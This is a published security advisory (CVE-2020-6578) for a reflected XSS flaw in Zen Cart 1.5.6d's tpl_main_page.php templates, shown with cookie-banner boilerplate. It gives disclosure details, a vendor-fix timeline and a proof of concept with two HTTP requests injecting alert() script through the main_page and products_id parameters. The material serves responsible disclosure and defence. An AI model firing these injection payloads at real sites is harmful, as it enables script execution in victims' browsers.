



Alle akzeptieren

usd-2019-0069

Advisory ID: usd-2019-0069

CVE Number: CVE-2020-6578

Affected Product: Zen Cart

Affected Version: v1.5.6d

Vulnerability Type: XSS

Security Risk: Medium

Vendor: Zen Cart

Vendor URL: <https://www.zen-cart.com/>

Vendor Status: fixed

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

Description

A reflected XSS attack (or non-persistent attack) occurs when a malicious script is reflected off of a web application to the victim's browser. The attack is typically delivered via email or a web site and activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts. The `main_page` parameter is vulnerable to reflected XSS in the `/includes/templates/template_default/common/tpl_main_page.php` and the `/includes/templates/responsive_classic/common/tpl_main_page.php` files.

Proof of Concept (PoC)

It is possible to send one of the two following requests to inject HTML code into the application:

```
GET /zc1.5.d/includes/templates/responsive_classic/common/tpl_main_page.php?main_page=2%22%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: zenid=gkn78vu3mg97uap35t37b6qjuc
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

```
GET /zc1.5.d/includes/templates/template_default/common/tpl_main_page.php?main_page=2%22%3E%3Cscript%3Ealert(1)%3C/script%3E&products_id=%27}}
;alert(2);// HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: zenid=gkn78vu3mg97uap35t37b6qjuc
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

The following HTTP response shows the injected JavaScript payload that would cause an alert box to pop up.

```
HTTP/1.0 500 Internal Server Error
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 46
Connection: close
Content-Type: text/html; charset=UTF-8

<body id="2"><script>alert(1)</script><body>
```

The vulnerable code was located inside `includes/templates/responsive_classic/common/tpl_main_page.php`

Fix

All user supplied input should be encoded on delivery or before rendering to prevent the injection of HTML code.

Timeline

- 2019-12-16 Vulnerability discovered
- 2020-01-08 Initial contact with vendor
- 2020-01-22 Vulnerability fixed by vendor
- 2021-02-26 Security advisory released

Credits

This security vulnerability was discovered by



Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technische erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analyse- und Marketingzwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzerklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



usd HeroLab

☒ Technisch erforderlich

☐ Analyse und Performance

Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzklärung](#) | [Impressum](#)



In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our **CST Academy** and our **usd HeroLab** are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the **usd HeroLab** publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG

In accordance with usd AG's **Responsible Disclosure Policy**, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.

[usd AG](#)

[Kontakt](#)

[Impressum](#)

[Datenschutz](#)

[AGB](#)

[© 2022 usd AG](#)

[Meldung einer Schwachstelle oder eines Bugs](#)

[Code of Ethics](#)



[LabNews](#)

[Security Advisory zu GitLab](#)

[Dez 15, 2022](#)

[Security Advisory zu Acronis Cyber Protect](#)

[Nov 9, 2022](#)

[Security Advisories zu Apache Tomcat](#)

[Nov 24, 2022](#)